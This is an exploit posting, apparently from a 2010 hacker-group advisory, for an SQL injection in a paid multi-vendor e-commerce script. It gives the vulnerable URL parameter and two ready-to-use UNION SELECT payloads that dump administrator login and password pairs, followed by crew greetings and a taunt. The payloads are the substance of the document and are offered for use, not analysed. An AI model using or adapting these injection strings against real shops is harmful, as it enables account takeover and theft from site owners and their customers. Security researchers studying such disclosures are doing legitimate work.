/**************************************************************************

[!] PRE MULTI-VENDOR E-COMMERCE SOLUTION SQL injection Vulnerability
[!] Author  : Don Tukulesto (root@indonesiancoder.com)
[!] Homepage  : http://www.indonesiancoder.com
[!] Date & Time  : Thu Feb 21, 2010 8:30 PM
[!] Rock On  : http://antisecradio.fm (choose your weapon)

**************************************************************************/

[ Software Information ]

[>] Vendor : http://www.commodityrentals.com/
[>] Download : n/a
[>] Version() : n/a
[>] Price : $295.00
[>] Details :  A complete application for Multi-Vendor Shopping Malls with online built-in order placement and processing system, Buying and Selling options, Submit your bulk requirements.
    Unlimited Store owners can add their stores and products to this system to sale and market their products on single platform.
    Website owner can add unlimited categories and sub-categories to this E-Commerce system.
    Store owners have private control panel and order management system.
    Highly advance new design features with easy template customizations.
    Major payment gateways included with complete control from admin section.
    Highly secure customer and store own registrations.
    Search product by your choice and favorite Store.
    The world best Multi-Vendor E-Commerce online solution.
[>] Method : SQL Injection
[>] Dork : Don Tukulesto

===========================================================================

[ Proof of Concept ]

http://server/detail.php?prodid=[INDONESIAN CODER NOT DEAD WITHOUT YOU]

[ EXPL0!T ]

1/**/union/**/select/**/1,1,1,concat%28login,0x3a,password%29,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,2,2,2,2,2,2,2,2,2,2,3,3,3,3,3/**/from/**/admin/*

2+AND+1=2+UNION+SELECT+0,1,1,concat%28login,0x3a,password%29,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,2,2,22,2,2,2,2,2,2,2,3,1+from+admin--

===========================================================================

[ Remember the Name ]

[>] ALLAH THE ONE AND THE ONLY GOD
[>] INDONESIAN CODER TEAM - KILL-9 CREW - MainHack Brotherhood - ServerIsDown - SurabayaHackerLink
[>] kaMtiEz ~ M3NW5 ~ M364TR0N ~ Gonzhack ~ CYB3R_TR0N ~ DEESSAINT ~ ran ~ Arianom ~ Contrex
[>] Jack- ~ Yadoy666 ~ s4va ~ senot ~ Bayu5154 ~ VYC0D ~ Tucker ~ Ian Petrucii ~ Ronz & FeeLCoMz
[>] kecemplungkalen ~ DraCoola Multimedia ~ XNITRO ~ rey_cute ~ Awan Bejat ~ Plaque ~ Gh4mb4s
[>] Pathloader ~ tiw0L ~ Mboys ~ cimpli ~ d0ntcry ~ mbamboenk family ~ YOU !!!

[ rm -rf yourself ] 

[>] FOR MALINGSIAL


[ some quotes ]

For FAKE Don Tukulesto on Facebook : http://www.facebook.com/profile.php?id=100000563647147
I know you don't like me, but do u know what ? YOU ARE A LOSER. lmao